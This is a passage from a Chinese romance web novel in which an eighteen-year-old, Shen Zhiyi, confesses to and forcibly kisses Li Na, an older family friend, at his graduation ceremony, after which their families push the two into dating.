“你们大人，都这么害怕承认自己的错误吗？”
这天傍晚，他跟黎母不欢而散。
回到家里，他的心情也没有好转，坐在沙发上抱着手机。
手指距离屏幕不到一厘米，在黎娜的电话号码上犹犹豫豫。
远在法国的黎娜，在睡午觉的时候做了一个恶梦。
梦里，她在大山上，坐着一把小椅子，面前有一块立起来的画板。
在她的身旁，有一条湍急的小河，河中有个小男孩在哭泣，喊她姐姐，小手伸出河面不停地挥舞，黑色短发飘在水里。
黎娜立刻起身。
小椅子向后倒去。
她跑向小河，伸出双手抓住那个男孩，眼里泪光闪动。
一定要抓紧他的手。
一定要救下他。
她把男孩拉到岸上，用力抱住他，感受他的存在。
好险。
差一点，就要失去他了。
她眼泪流出来，梦醒了。
睁开眼睛，大山消失，小河消失，怀里的男孩也不见了，眼前是她的电脑屏幕，上面还有她画了一半的电子稿。
她不由得苦笑。
原来现实还是没有改变。
桌上的手机响个不停。
黎娜拿起来瞥了一眼，是沈知逸打来的。
换了平时，她第一反应是挂掉。
但是现在，可能是因为刚才做的那个梦，她竟然一时间无法让自己挂掉，还接通了。
黎娜深吸口气，平复好所有情绪，声音冷淡和平时没有差别。
她说：“喂？”
那边短暂沉默。
黎娜皱眉：“沈知逸？”
沈知逸这才“嗯”了一声。
黎娜正想问他有什么事，就听到他带着哽意的声音传过来。
“我现在好想去你身边。”
“我想紧紧地抱住你，姐姐。”
黎娜瞳孔剧烈收缩。
不知道为什么，她想起了那个梦醒后落空的拥抱，眼睛里瞬间泛起泪意，视野内变得迷糊不清，连带着感知也一并变得模糊了。
手机里很久没有传来黎娜的回应，沈知逸很不安，心想她肯定生气了，她最讨厌他说这些话。
沈知逸正想道歉，就听到黎娜的声音传过来。
“我也是。”
她说，我也是。
65. 公狗觉醒
沈知逸吃惊得张大嘴巴。
从来没有想过姐姐竟然会给他这样的回答！
他刚才怎么说的来着？
他说，我想紧紧地抱住你，姐姐。
然后姐姐说，我也是。
啊啊啊啊啊啊啊啊！
沈知逸抱着手机满沙发打滚。
刚才没有录音，他应该把这通电话录下来，睡前反反复复地听。
沈知逸看向屏幕，电话还没有挂断，他清了清嗓子。
“姐——”
“嘟嘟嘟——”
好了，现在挂断了。
沈知逸把手机拿下来，看着熄灭的屏幕，刚才的美好如同昙花一现。
沈知逸再次满沙发打滚。
姐姐到底在搞什么啊！
为什么突然撩完他，就玩失踪啊，故意吊着他吗！
沈知逸进入微信，对黎娜一阵信息炮轰。
沈知逸：【姐姐，我没有听错对吧，你刚才说想抱我？】
沈知逸：【我明天就跟学校请假，我要去法国找你。】
沈知逸：【算了，不等明天了，叫我爸爸去请假吧，我现在去看机票，争取在最短的时间之内让你抱到我。】
沈知逸：【真的好开心，开心到要哭出来了，好幸福啊，姐姐。】
他去看机票。
黎娜的信息跳出来了。
黎娜：【别过来。】
黎娜：【我刚才喝多了，乱说的。】
沈知逸：【嗯嗯，酒后吐真言，我知道的。】
黎娜：【真不是，我认错人。】
沈知逸愣住。
认错人了……
是想抱别人的意思吗？
所有的欣喜如潮水般退去。
沈知逸：【那你想抱谁？】
黎娜没回。
沈知逸：【你到底想抱谁啊，真的是认错人了吗？】
黎娜还是不回。
沈知逸给她打电话。
没有人接。
沈知逸就不停地打。
她直接关机。
到底在搞什么啊！
沈知逸被她吊得受不了，脸埋进沙发里，都快哭出来了。
一晚上的心情跟坐过山车似的。
最终，他也没去成法国。
黎娜跟Sofia打好了招呼，不让沈知逸过来。
沈知逸难过得都要死掉了。
Sofia劝他：“小知逸，你别着急啊，妈妈一直给你盯着呢，你姐姐不会跑的。”
沈知逸趴在沙发上，脸朝下，特别郁闷。
“你怎么知道不会？”
Sofia说：“我经常去问你黎叔叔呢，你姐姐要是有男朋友了，肯定会跟你黎叔叔说的。”
沈知逸：“万一姐姐偷偷谈了，没告诉黎叔叔呢？”
Sofia：“她不会谈的，她明年就要回来了，而且你黎叔叔肯定不会同意她谈外国人的，他希望你姐姐将来留在国内，这样能一直陪在他身边。”
沈知逸这才放心了。
后来，他把那天晚上的电话捋了很多遍，根本不存在姐姐认错人的情况。
因为在通话刚开始的时候，姐姐喊过他的名字，不可能认错人的，姐姐想抱的人就是他。
可能……姐姐也有一点点喜欢他吧？
只是不愿意承认？
想明白之后，沈知逸找黎娜更加频繁，简直把黎娜的对话框当成朋友圈发，不管发生了什么事情都要跟她说。
比如形状可爱的云朵，学校里的小野猫，食堂阿姨多给他一个大鸡腿……
到冬天，家里的院子堆积了厚厚的雪，沈知逸堆了两个雪人出来，给他们围上围巾，安上胡萝卜鼻子，拍照片发给黎娜。
沈知逸：【这是我堆的雪人，也给姐姐堆了一个。】
照片左侧下面，他比了一个剪刀手也入镜了，堆雪人的时候没有戴手套，手冻得又红又紫，都有些伸不直了。
黎娜：【戴好手套，会长冻疮。】
看着底部跳出来的信息，沈知逸睁大眼睛，怀疑自己是不是眼花了，姐姐竟然回他了。
他翻之前的聊天记录，一直都是他在发，黎娜从来都不回他的。
他嘴角上扬。
沈知逸：【姐姐，明年我就成年了。】
沈知逸：【成年之后，我就可以做大人的事了。】
他心脏跳得很厉害，把手机按在胸口，平复着呼吸，脸被风吹得通红，睫毛上挂着雪花，对着漫天飞雪露出一个阳光灿烂的笑脸。
姐姐，我会乖乖地待在这里。
等你回来。
他十八岁生日宴办得盛大，Eason包下整个酒店，邀请了国内外的演奏者和作曲家，Sofia也邀请了演艺界的朋友，还有黎父带来的一些朋友。
各界名流精英齐聚一堂。
Eason带着沈知逸认识了很多人，主要是去认识那些演奏者和作曲家，他们都是Eason的好朋友，对沈知逸给予了极大的认可。
上次过生日还有过年，黎娜都没有回来，沈知逸已经不抱希望了，在大人面前也尽力表现出不在意的样子，一直微笑着。
直到黎父拿出一个包装精美的礼物，递给他。
“这是你姐姐送给你的成年礼物。”
在“姐姐”这个词出来的时候，他心脏瞬间搅紧了。
目光落到黎父手里的礼物上，沈知逸上扬的嘴角僵住，眼睛里浮上一层水雾，心里是有点委屈的。
他把嘴角往上提，再次笑起来，大大方方地收下。
“谢谢。”
张阿姨一脸期待：“小知逸，你快拆开看看。”
沈知逸握紧盒子，有些不知所措：“啊？现在就拆开吗？”
他还想回到家自己一个人偷偷地看呢。
黎父点头：“我也很好奇。”
于是，沈知逸解开上面的丝带，慢慢抽出来，拆掉包装纸，是一个纸盒，质感有点像手机盒，再打开，里面用绒布包裹着，还有一个盒子，这次是木纹的，光泽感很好。
黎父笑了：“我已经猜到是什么了。”
沈知逸看向他：“啊？”
黎父说：“继续拆。”
这个木纹盒子很精致，下面还有个精细的开关，沈知逸研究了一会才弄明白怎么开，小心翼翼地打开盖子，看到正中间嵌着一块白金蓝盘手表，表盘里有三个小表盘，背面是透明的，有机械结构。
黎父说：“你姐姐从十三岁就开始玩表了，特别喜欢收集鹦鹉螺系列，这块表……我想想，好像是她上高中那会儿买的，现在估计已经停产了，想买都买不到了。”
沈知逸点头，合上盖子，放在怀里紧紧抱着，眼睫毛低垂下来。
姐姐……
生日宴结束后，沈知逸跟着Eason和Sofia回到家里。
Sofia问：“知逸，你想好要上什么学校了吗？”
Eason提议：“如果想往钢琴方面发展，最好对接国外的音乐学院。”
沈知逸抱着手表，坐到沙发上：“我哪里都不去，我就在这里上学。”
Eason和Sofia对视一眼，心中了然。
Sof
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ia叹了口气：“你要不再想想，事关你的前途。”
沈知逸还是那句话：“我不去。”
他抱着手表回房间了。
Sofia满面愁云：“那怎么办？”
Eason揉眉心：“那就让他在这里上学吧，他不想去，就不要逼他了，只要他开心就好了。”
Sofia：“嗯。”
国际生有自己的联考，不用参加全国统一的高考。
沈知逸报名了本市的音乐学院，是经过Eason精心挑选过的，环境和师资力量都还不错，出过多名艺术家，和一些国际著名音乐类学院都保持着合作交流关系。
考完试，过了差不多半个月，沈知逸收到了音乐学院的offer。
这件事就尘埃落定了。
Eason和Sofia也不再多言。
学校要举办毕业典礼，到时候会很热闹，所有社团都要派人上去表演，钢琴社派人弹琴，击剑社派人击剑，篮球社pass掉，还有科学技术类的，展示机器人和无人机。
沈知逸练习毕业典礼那天要演奏的曲子。
陈研不停吐槽：“我靠，为什么所有社团都能上台表演，就不让篮球的社去，那我还打个毛啊。”
沈知逸边弹边说：“篮球飞到台下来会砸到人的。”
陈研：“那可以去体育馆啊。”
沈知逸：“换场地太麻烦了，东西要搬来搬去。”
陈研无语，用手指转篮球玩，心中一阵感慨。
“咱们都待在一起六年了，以后要分开了，还有点小小的舍不得……”
沈知逸：“……”
陈研：“沈知逸，你会不会想我啊？”
沈知逸：“别说这么gay的话，我不想姐姐误会你跟我之间的关系。”
陈研瞪大眼：“操！”
沈知逸敛下眸子，声音极轻。
“我会想你的，陈研。”
陈研对接了国外的本科，再开学就要去国外了，他现在的养父大部分时间都待在国外。
沈知逸报名了驾校，每天生活除了弹钢琴，就是刷题。
许久没有消息的黎娜，忽然发了一条朋友圈，是一张回国的机票，配文：【终于可以回家啦～】
沈知逸点了个赞。
温琳紧跟着点赞，评论。
温琳：【我洗干净屁屁等你哦，娜娜宝贝～】
黎娜：【这就把机票撕烂。】
沈知逸笑了出来。
到毕业典礼那天，沈知逸穿上Sofia提前准备好的白色西装。
Eason也有一套，款式跟他的一模一样，像是亲子装。
看着这两个身穿白西装的男人，Sofia笑容幸福。
沈知逸对着镜子整理领带，袖口落下来一点，露出手腕上的白金蓝盘手表。
Sofia愣住：“你怎么戴这块手表了，你不是一直很宝贝，舍不得戴吗？”
沈知逸手指微微蜷紧，把袖子拉回来一点，眼睫低垂。
“嗯，今天想戴。”
每一个特殊的日子，都想有姐姐的陪伴。
Sofia过来帮他整理领带。
“今天有个惊喜要给你。”
沈知逸问：“什么惊喜？”
Sofia意味深长地说：“你期待了很久的惊喜。”
沈知逸挠头。
Eason把领带弄得乱七八糟。
“Sofia，我这个领带怎么都系不好，你也过来帮我一下。”
看到他故意把领带弄乱的Sofia：“……”
66. 公狗觉醒
毕业典礼开始。
校长和校领导在舞台上发言，学生们坐在台下哈欠连连，直到开始表演节目，他们才打起精神。
沈知逸在后台做准备。
Eason和Sofia都在，还有其他学生的家长，这个毕业典礼是对家长开放的。
Sofia说：“你的惊喜，在观众席九点钟方向哦。”
沈知逸愣住。
又是惊喜。
他“嗯”了一声，保持期待，不再过多猜测。
到沈知逸上台，所有灯光汇聚成一束照到他身上。
他今天穿的全白，帆布鞋也是白色的，小卷发在灯光下变成了浅金色。在一片漆黑的环境中，他整个人都在发光，干净，无暇，美好……每一个动作都赏心悦目。
其实，枪伤之后，是留下了后遗症的。
比如在潮湿天气，疤痕会红肿起来，有丝丝的痒意。
又或者是现在，当手指需要用力的时候，牵扯到某一根疤痕附近的肌肉，就会疼，不过在他可以忍受的范围之内。
观众席上，Sofia在举着相机给他录视频。
Eason手臂环在她腰上，转过头看向后面，视线斜着越过几个学生，落到一个卷发女人身上。
“娜娜，你要不要去后台？知逸结束了会过去。”
黎娜靠在椅背上，肩膀单薄，穿着一件蓝色吊带裙，双腿优雅地交叠着，白色马丁靴将小腿线条修饰得极好。
她双臂环胸，把卷发别到耳朵后面，身体微微前倾，跟Eason说话。
“先不过去了，我再看会儿。”
Eason说：“好。”
Sofia放下相机，也转过头来跟黎娜说话。
“等会小知逸看到你了，肯定很开心。”
黎娜一愣，微笑着点头。
演奏结束，舞台上的沈知逸站起身来，站在光束里迟迟没有退场，突然抬眸朝九点钟方向望去。
视线越过一个又一个同学，触及到黎娜那张脸的时候，猛地停顿下来，沈知逸睁大眼睛，心跳加速。
找到了。
Sofia口中的惊喜。
他嘴角控制不住地上扬，目光又接触到一个男人，瞬间落下来，嘴唇抿紧。
秦钰也在。
他中午和黎娜一起吃的饭，本来计划下午去打高尔夫，但黎娜说有事要去参加毕业典礼。
秦钰之前也是这个学校的学生，对这里充满了怀念，就跟着黎娜一起过来了。
观众席上，黎娜和秦钰坐在一起。
黎娜今天的衣服露出肩膀，此刻紧贴着秦钰的西装，一黑一白，极其刺眼。
黎娜正凑过去跟他说话，演奏已经结束了，就没有再注意台上。
秦钰面对着黎娜，能看到舞台上的情况，只见沈知逸正直直地朝他看过来，刚开始还以为不是在看他，他还朝四周围望了一眼，最后再次接触到沈知逸的目光。
好吧，真的是在看他。
秦钰勾唇一笑，伸手搂住黎娜的肩膀，将她抱进怀里。
黎娜愣住：“你干什么？”
秦钰嘴唇贴着她的耳朵，轻轻吐气。
“抱歉，有点忍不住了。”
沈知逸退场。
秦钰还没有松开黎娜。
黎娜在他腰上用力拧了一下：“你想死是不是？”
秦钰立刻松开她，捂住腰，笑了几声。
“你那么凶干什么，就抱一下，你那么保守吗？”
黎娜：“你连声招呼都不打。”
秦钰：“这样有惊喜的感觉。”
黎娜咦了一声：“恶心。”
接下来是双人演唱，黎娜注意力集中到舞台上。
身旁忽然传来女生的尖叫声，黎娜皱了下眉，懒得理会，紧接着周围一阵骚动，靠近她的学生们都在动来动去。
黎娜这才看过去。
只见沈知逸大步朝她走过来，到她跟前停下，目光沉沉地看着她。
他穿着白西装，肤色在男生之中算是偏白的，看上去特别阳光干净，可是他现在的眼睛很黑，如同下着暴风雨的黑色海洋，波涛汹涌，暗潮翻滚。
黎娜眉心微皱，不再看他，目光回到舞台上。
秦钰站起身，主动打招呼。
“知逸弟弟，好久不见。”
“嗯，好久不见。”
沈知逸握紧的拳头都在发抖，却笑着跟秦钰打招呼。
然后他上前握住黎娜的胳膊，直接把她从座椅上拽起来。
手指顺着她手臂内侧的皮肤滑下来，划过她的手心，没入她的指缝，穿过去，手指按在她手背上，再慢慢扣紧。
黎娜瞪着他，把手往回收。
沈知逸更加握紧她的手，转身就走，步伐迈得特别大。
黎娜甩不掉他，被迫跌跌撞撞地跟上。
前面的女学生捂住嘴巴，失声尖叫，纷纷为沈知逸让路。
他们穿过一片喧闹和别人异样的眼光。
沈知逸冷着脸，把黎娜拽进隔壁的未来教室，手臂撑在她身体两侧，睫毛低垂下来，眼里一片阴翳。
黎娜后背紧贴着墙壁，忽然笑了。
很难想象，当年她一弯腰就能抱起来的小男孩，现在握住她的手，她竟然连动都不动不了，只能任由着他胡作非为。
这种落差感，真让人不爽啊。
黎娜随便抓了把乱糟糟的卷发，简单整理了一下，就看向窗外，抬头挺胸，丝毫没有处于劣势的狼狈姿态，平静而又随和。
沈知逸低头看着她。
完全俯视的角度，可以看到她浓密卷翘的睫毛，略带不悦的眼神，一点点的身高差，让她看起来娇小了不少，虽然看起来凶巴巴的，但是很可爱。
沈知逸眼中雨过天晴，目光渐渐柔和下来，又往前挪了一点，更加贴近她的身体。
他这边贴近了，黎娜就踮起脚，整个人黏在墙上，屏住呼吸，重新拉开这段距离。
沈知逸就有点委屈了。
“为什么总跟秦钰在一起，你是不是喜欢他？”
黎娜：“你想象力太丰富了。”
听上去是夸奖，却充满了嘲讽，沈知逸好像被人扇了一巴掌，跟个小丑一样，被他们两人耍得团团转。
他们到底是什么关系，沈知逸懒得再去想，越想越累，他放弃挣扎，眉眼低垂着，眼神比刚才坚定了许多。
他轻吸口气，声音沙哑：“姐姐，你知道的对吧？”
黎娜看向他：“知道什么？”
沈知逸轻咬下唇，留下一道凹陷的牙印，还有微闪的水渍。
“你明明知道……我喜欢你。”
黎娜不敢相信自己的耳朵，立刻用手捂住他的嘴。
“沈知逸，闭嘴！”
沈知逸拿开她的手，目光清澈却坚定地望着她。
“我喜欢你啊，姐姐。”
“从那个除夕夜，你把我从雪里抱出来的时候，我就喜欢你
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了。”
“那天晚上你把我楼上推下去，我真的很难过，我现在已经成年了，我可以为自己的行为负责任，姐姐，你接受我好不好？”
沈知逸握住她的手，放到自己脸上，眼睛有些湿润，其中也有些慌乱不安，好像在害怕。
害怕被黎娜拒绝。
黎娜发现他的手指都在发抖。
是在紧张吗？
应该是吧，才十八岁的小孩，跟人家学告白……
黎娜从他手中挣脱出来，上下打量他一眼，跟以前一样，还是那么嫩。
目光中带上了一丝嫌弃，她毫不留情地挖苦他，嘲讽他。
“毛都没长齐的小屁孩，还知道喜欢？”
黎娜说完就笑出来了。
她看着沈知逸，笑个不停。
是很单纯的嘲笑。
他喜欢她，有这么可笑吗？
在她的笑声中，沈知逸先是感到无措羞耻，随后又感到悲伤愤怒，有一种自尊心受挫的感觉。他说的那些话，好像变成了供黎娜取笑的乐子。
沈知逸又气又急，上前几步。
“你怎么知道我毛没长齐？”
黎娜笑声一顿。
沈知逸还在往前凑。
距离太近了，黎娜不能呼吸。
耳边拂过一阵潮湿的热气，响起沈知逸的声音，压得极低，以至于带了些成年男人的磁性，令人头皮发麻。
“姐姐，要不要看，不看怎么知道？”
黎娜浑身气血涌向头顶，推开他，扬起手，照着他的脸就是一巴掌。
沈知逸迅速把她的手拦截下来，握紧她的手腕。
她挣扎了几下，没挣开，用力到整只手都在发抖。
沈知逸手指按在她手腕内侧，是很细腻滑嫩的触感，像嫩豆腐一样，看到她充满了怒火的眼睛，竟莫名觉得可爱。
想让姐姐……变得再可爱一点。
他突然低头凑过去。
速度特别快，如同一条捕猎中的毒蛇，根本不给黎娜反应时间。
唇上传来一抹柔软湿润的触感。
黎娜身体一僵。
沈知逸嘴角上扬，闭上眼睛，贴着她的嘴唇，之前从来没有这样过，所以一时间不知道该怎么做，就不停地蹭，亲，啄，偶尔胆子大，试探性伸出舌尖舔她一下。
黎娜闭紧嘴巴，拼命挣扎。
沈知逸怕弄痛她，就赶紧松开她了，脸埋在她脖子和肩膀之间喘气，脸都红了，眼睛上覆了一层水，看起来湿漉漉，透着些脆弱和迷离。
“沈知逸你有病！”
黎娜用手背不停地擦嘴，同时用鞋尖去踢沈知逸的小腿，把他白色西裤都踢黑了一块，试图把他踹开。
沈知逸没动，缓过气来，再次吻上去。
黎娜整个人都懵了。
教室门外传来一阵脚步声，黎娜用力推沈知逸。
沈知逸握住她两个手，稍微离开了一点，说话时轻触她的嘴唇。
“害怕被人看到吗，姐姐？”
沈知逸笑得很甜，眼睛弯弯的。
“我想让他们都看见，让他们都知道，姐姐已经有我了，以后不许再惦记我的姐姐。”
说完，他又吻上来。
这是第三次。
外面的人进来了。
沈知逸是背对着门，但黎娜能看到。
只见那个进来的女生发出一声尖叫，吸引了更多的人进来。
黎娜心如死灰，闭上双眼。
67. 神明陷落
还记得那天傍晚的电话，他说想抱她，她说我也是。
还有十八岁生日宴上，她没有到场，却给他送上了昂贵的手表。
难道她心里，从来就没有过他的存在吗？
沈知逸是不信的。
她记得他的生日，会提醒他堆雪人的时候要戴好手套。
他要撕掉她身上的所有伪装，看看她的内心到底是什么样的。
黎娜不主动，也不再推开，两个手被沈知逸抓得紧紧的。
身后动静越来越大，忽然响起一道“咔嚓”的声音。
有人在拍照。
黎娜猛地睁开眼睛，张开嘴巴，牙齿在沈知逸嘴唇上用力咬下去。
唇齿间漫开铁锈味。
沈知逸“唔”了一声，慢慢退开来，用手背按住嘴巴，整张脸都是红的，眼睛里水光潋滟。
明明他才是强吻的人，却好像被黎娜强吻了一样，又害羞又委屈，都不敢抬头看黎娜，撇开脸看着窗外。
黎娜擦掉嘴唇上的水渍和血液，在他肩膀上推了一下，他腿软得站不住了似的，一下子就被推到一边了，靠在墙壁上喘气。
黎娜还算平静，像什么都没有发生过一样，大步朝门外走去。
学生们纷纷退开，小声议论。
当天，沈知逸发了一个朋友圈。
两张图片，一张是他嘴唇伤口的图片，还有一张是黎娜。
配文：【嘴巴被姐姐咬破了，好痛……】
黎娜看到这条朋友圈的时候，整个人都懵逼了。
沈知逸好像没有屏蔽别人。
她看到下面有一排评论。
Eason：【[强][强][强]】
Sofia：【[强][强][强]】
陈研：【？？？】
温琳：【？？？】
张阿姨：【[强][强][强]】
黎父：【？？？】
黎娜退出朋友圈。
从这条朋友圈发出去之后，沈知逸的心跳就一直很快。
相当于把他和姐姐的事情都告诉别人了。
手机响了，沈知逸浑身一震，指尖颤抖，慢慢拿起来，发现是黎娜发来的信息，心脏都跳到了嗓子眼。
他双击点开来。
黎娜：【朋友圈删掉。】
沈知逸：【……不要。】
黎娜：【你删不删？】
沈知逸：【本来就是你弄的啊，难道不是吗？为什么要删……】
黎娜没再回他。
他垂眸盯着和黎娜的聊天记录。
有电话打进来，先是Sofia，然后是黎父。
Sofia没说什么，只是跟他确认了一下。
他也回答得模棱两可的。
到了黎父，语气就没那么好了。
黎父：“你那条朋友圈是怎么回事啊？”
沈知逸呼吸微乱，深深地吸了口气。
“就是跟、跟姐姐亲、亲了一下。”
紧张到连话都说不利索了，沈知逸懊恼地捂住脸。
黎父：“你们在谈恋爱？”
沈知逸：“应该没有……”
黎父：“那她怎么啃你？”
沈知逸捂住发烫的脸：“我也不知道……”
听上去无助得要哭了，黎父也深吸口气，沉声道：“我去找她！”
通话结束，沈知逸放下手机，嘴角缓缓扬起一抹笑容。
黎父给黎娜打了八百个电话。
黎娜一个都没接，直接关机。
这辈子从来没这么无语过，明明她才是被强吻的那一个，怎么现在搞得她像是拱了好白菜的猪，真是无语……
温琳给她打电话，没有人接，直接杀到她家里来了。
差点把黎娜吓个半死，还以为是家里的长辈，直到看见温琳穿着一身草莓图案的真丝家居服从跑车上下来，视觉上的冲击力丝毫不比家里长辈的少。
黎娜转身回家。
温琳在她身旁晃来晃去。
“你跟小知逸亲了吗？真的亲了吗？还把他嘴咬破了？！”
黎娜语气淡淡的：“如果我说我是被强吻的，你相信吗？”
温琳瞪大双眼，一脸兴奋，暂时失去了语言表达能力。
“卧槽卧槽卧槽！”
黎娜：“……”
她坐到沙发上，打开电视机，把音量调小，让家里有点声音，不至于让气氛显得太诡异。
温琳非常不客气，从冰箱里拿出一罐气泡酒，径自喝了起来。
“那你是被强迫的吗？我靠，强制爱啊，小知逸真可以，还敢发朋友圈，他是不是故意的啊，娜娜宝贝，你这回真的摊上事了，你自求多福吧！”
说到这个，黎娜就头疼。
“我现在手机都不敢开机，我爸一直在给我打电话，幸好他不知道我住在这里。”
温琳：“那你怎么办？”
黎娜想了一会：“冷处理吧，等他们都忘掉这件事情。”
托Sofia的福，黎父一直没有忘掉这件事情。
看着面前比他还要高出一个头多的沈知逸，黎父几乎都快被Sofia说服了，心里还是有些顾虑。
“知逸的年纪太小了，娜娜都三十的人了，比知逸大那么多，知逸太吃亏了……”
而且现在小孩面临的诱惑太多了，万一将来黎娜老了，这小孩又喜欢外面十七八岁的小姑娘怎么办？
沈知逸低着头，抠手指。
“我没觉得吃亏啊……”
Sofia说：“可以让他们两个先试试呀，这么多年，知逸对娜娜的感情，我们都是有目共睹的，他那么小就敢给娜娜挡枪了，恐怕连我们大人碰到那样危急时刻，都没有勇气跑上去，而且知逸也是你们看着长大的，他一直很乖的，不是吗？”
张阿姨点头：“是呀，就让这两个小孩试试呗，又不是非要他们怎么样，就先谈着试试，娜娜都快三十了，总不谈男朋友，你都不着急吗？”
黎父：“……”
说实话，是挺着急的，急得不能再急了。
他看向沈知逸。
沈知逸低着脑袋，面容乖巧。
黎父一拍大腿：“行！那就让他们试试吧！”
豁出去了！
于是，在黎娜完全不知情的情况下，突然多了一个男朋友，还比她小十一岁……
黎父派人把黎娜名下所有房产都查了一遍，最终锁定到城西的一栋别墅，带着Eason一家人过去了。
黎娜和温琳待了一个星期，天气太热哪里都不想去，就在家里不是喝酒就是睡觉，日子过得极其放纵。
黎父他们赶到的时候，黎娜衣衫不整，两条腿瘫在地上，上半截身子趴在沙发上，面朝下，卷发凌乱，一片狼藉，如同凶杀案现场。
门铃响个不停。
温琳瞬间抬起头，脑袋里空白了两秒钟，随即跳到黎娜面前，抓住她的肩膀疯狂摇晃。
“娜娜！有人来了！”
“有人来了！我靠！”
黎娜脖子都快被她摇断了，睁开眼睛，目光还是涣散的，在听到清晰的敲门声之后，瞬间聚焦起来了，面露惊恐。
“不是
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吧……这么快就找过来了？”
温琳双手捂胸，娇滴滴靠进黎娜的怀里，不停地蹭来蹭去。
“娜娜，你会对人家负责的对吧？昨天晚上，你都，你都——”
黎娜头痛欲裂，揉着太阳穴。
“我喝醉了，忘了吧，给你一百万，从我面前消失。”
黎娜抓起一个“一百万”，朝温琳丢过去。
温琳伸手一抓，抓到了一把梳子。
温琳：“……”
黎娜晃晃悠悠地站起来，钻到餐桌下面，用毯子把自己整个盖住，声音闷闷地传出来。
“你去开门。”
温琳指着自己：“我？”
黎娜：“嗯。”
温琳：“那你呢？”
黎娜：“我在这里藏好，他们看不见我。”
温琳：“……”
明明就看得见好吧！
这餐桌就四条小细腿，连餐布都没有，一眼就能看到啊！
温琳扶额。
看来这家伙酒还没醒。
她拍拍屁股站起来，瞥了一眼蹲在餐桌下面，掩耳盗铃的黎娜，很是无奈地叹了口气，出去开门。
一打开门，温琳差点被吓飞。
他妈的一群人啊！
Eason一家，还有黎父和张阿姨，都在外面，颇有一种黎娜在外面拈花惹草，搞大人家肚子，现在人家全家人上门讨说法的感觉。
温琳强颜欢笑，主动打招呼。
“嗨，叔叔们，阿姨们，下午好呀，小知逸，下午好呀。”
沈知逸撇开脸，轻轻地“嗯”了一声，抬眸看进去，调整角度，没见到黎娜的踪影，心里有些失落。
Sofia问：“娜娜在这里是吧？”
温琳挠头：“啊？娜娜啊？娜娜怎么了？”
黎父：“我进去看看！”
他们人多势众，识相的温琳立刻靠边，还弯腰做了个“请”的手势。
等他们进去，温琳跟壁虎似的趴在墙壁上，用手砸墙。
娜娜啊！你要完蛋啦！
就开门的这一小会儿时间，黎娜又睡过去了。
她裹着毯子倒在地上，两条又长又细的大白腿露在外面，脚上只有一只毛绒拖鞋，卷发把脸都蒙起来了。
温琳扶额，没眼看。
黎父扶额，没眼看。
Eason和Sofia目瞪口呆。
张阿姨尬笑两声，也不出声了，拿起扫把扫地。
只有沈知逸默默走过去，用毯子把黎娜两条腿盖好，然后一弯腰把她从地上抱起来，抱到沙发上放好，坐到她旁边，低着头也没有出声。
快三十的人了，还没有人家十八岁的小孩懂事。黎父在心里想。
黎娜身上酒气很重。
Sofia说：“让娜娜先睡会吧，我去沏点蜂蜜水。”
Eason点头，看向温琳：“你是娜娜的朋友吗，这里有没有厚一点的毯子，空调温度太低了，娜娜盖那个会感冒的。”
温琳立马过来：“有啊，我去拿！”
她拿来厚毯子丢到黎娜身上。
Sofia找不到蜂蜜，她又去帮Sofia找蜂蜜。
张阿姨收拾茶几上的垃圾。
黎父坐在沙发上，摇头叹气：“都是我惯出来的……”
Eason微笑：“小孩都这样。”
蜂蜜水弄好了，Sofia端过来，走到沙发前。
沈知逸伸出手：“给我吧。”
Sofia：“你来喂？”
沈知逸：“嗯。”
68. 神明陷落
沈知逸接过Sofia手里的蜂蜜水，抬眸看向周围的大人。
大人们一直在看他们。
见沈知逸看过来，就迅速收回视线，若无其事地找事情做，做着做着目光又悄悄溜过来了，再次撞上沈知逸的目光，于是又迅速收回视线。
沈知逸：“……”
他先把蜂蜜水放下，抬起黎娜的头，自己挪过去一点，然后把黎娜的头放到自己腿上。
黎娜的卷发铺在他腿上，陷进他大腿之间的缝隙里。
沈知逸喉咙一紧，有些发干，喉结上下滚动着。
Sofia拿来一个勺子，递给沈知逸。
“知逸，用勺子喂吧。”
“嗯。”
沈知逸接过来，用勺子舀了一点蜂蜜水，捏开黎娜的嘴巴，慢慢倒进去。
黎娜枕在他腿上，头位比较高，不容易呛到，本能地吞咽着，喝完一口，睁开眼睛，没有焦距地看了沈知逸一眼，嘴巴张了张。
“还要……”
黎父老脸一红：“……”
Sofia和张阿姨捂住嘴偷笑。
沈知逸压着快要上扬的嘴角，眼睛里有细碎的笑意，又舀了一点，倒进她嘴里。
她嘴唇上沾了点水，变得亮晶晶的，一点唇纹都没有，看上去很饱满很柔软。
沈知逸咽着口水，眸色渐深，用指腹抹掉她唇上的蜂蜜水，不动声色地背过身去，挡住大人们的目光，把沾了蜂蜜水的手指放进嘴巴里含住。
甜甜的……
他嘴角微翘。
从厨房里出来的温琳看到这一幕，嘴角抽搐了几下。
啊，这个小孩……
好变/态啊。
天黑了，黎娜还没有醒的迹象。
黎父有些忍不住了：“知逸，你腿不麻吗？让你姐枕着枕头就行了。”
沈知逸摇头：“不麻啊，一点都不麻。”
温琳走过来，把黎娜的脑袋搬下来丢到一边。
沈知逸被吓到：“温琳姐……”
温琳：“没事，你姐睡觉跟死猪一样，在她耳边放鞭炮都不醒。”
过了一会，温琳狂戳沈知逸的腿。
刚开始还没有知觉，只是有点麻木，后来稍微有了点感觉，温琳这么一戳，沈知逸坐也坐不住，躺也躺不住，稍微动一下都很受不了。
“啊、啊、温琳姐，你别戳我……”
温琳笑道：“这还叫不麻？”
沈知逸低下头，把黎娜的脑袋搬回来，重新放到腿上。
“现在是真的不麻了。”
他用手指缠绕着黎娜的卷发。
黎父问：“她平时这么能睡吗？”
温琳：“嗯，非常能睡！能从早睡到晚，吃完晚饭，一躺下还能睡着……”
黎父叹气：“算了，我们回去了。”
Sofia和Eason站起身。
沈知逸没动。
黎父喊他：“走啊，知逸。”
沈知逸垂眸，玩黎娜的头发，小声说：“我能不走吗……”
黎父瞪眼：“你不走？你姐酒品特别差，喝完到处乱吐，到时候吐你一身，赶紧走吧！”
沈知逸抱紧黎娜。
Sofia提议：“那正好让知逸留下来照顾娜娜吧。知逸特别会照顾人的，之前美国的家里刚出生了一只小柯基，被知逸照顾得特别好。”
黎父：“……”
他家娜娜又不是小柯基。
而且孤男寡女的，娜娜还不清醒，知逸这小孩看上去还挺乖的，就是不知道等他们走了，会不会对娜娜动手动脚。
黎父刚想说不行，就被张阿姨挽住胳膊往门外面拖。
张阿姨说：“行了，娜娜都三十的人了，知逸才那么点大，又不会把娜娜怎么样的，要怎么样，也、也是娜娜啊，人家知逸的爸爸妈妈都不担心，你还担心上了。”
黎父扒住门框：“不行啊，我家娜娜今年才二十九……”
Sofia笑出声：“黎大哥，你这次倒是记住娜娜的年纪了。”
